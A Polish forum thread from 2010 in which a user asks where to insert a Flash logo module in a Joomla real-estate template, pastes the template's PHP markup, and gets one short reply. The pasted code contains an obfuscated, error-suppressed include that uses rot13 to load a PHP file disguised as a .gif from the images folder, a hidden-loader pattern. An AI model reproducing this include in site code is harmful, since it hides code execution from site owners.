PDA

Zobacz pełną wersję : Gdzie wstawic modół zamiast logo??



Tomass2007
20-07-2010, 14:52
Witam.

Mam wielki problem.

Nie wiem gdzie w kodzie wsadzić moduł bym mógł umieścić logo we Flashu.
Meczę się już dłuższy czas i ni hu hu :(.... Wsadzam w różne miejsca i nic.....

KOD

<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="top_menu">

<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_left.png" alt="real estate menu left" align="left" /><div id="topnav"><?php $hmenu->genHMenu (0); ?>
</div>

<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_right.png" alt="real estate menu right" align="right" /><br clear="all" /></div>

<div id="h_area">

<?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.png" alt="real estate company logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Real Estates Home"><?php echo $mainframe->getCfg('sitename') ;?></a><br clear="all" /></div>

tutaj znajduje się mój moduł
-----------------------------------------------------------------------------------
<?php if($this->countModules('baner_g')) : ?>
<jdoc:include type="modules" name="baner_g" style="" />
<?php endif; ?>

--------------------------------------------------------------------------------------
<div id="main_top" class="banner"><jdoc:include type="modules" name="top" /></div>
<div id="main_bg"><?php if($this->countModules('left')) : ?><div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<?php endif; ?>
<?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<div id="rightcolumn">
<?php if($this->countModules('user4')) : ?><div class="moduletable_menu"><div><div><div><h3>Search</h3><jdoc:include type="modules" name="user4" /></div></div></div></div><?php endif; ?>
<jdoc:include type="modules" name="right" style="xhtml"/>
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php endif; ?>
<br clear="all" />
</div>
<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>
.
.
.
.

Z góry dziękuje za pomoc

moje
20-07-2010, 15:06
A nie możesz wstawić na sztywno kodu do pliku swf w kodzie szablonu?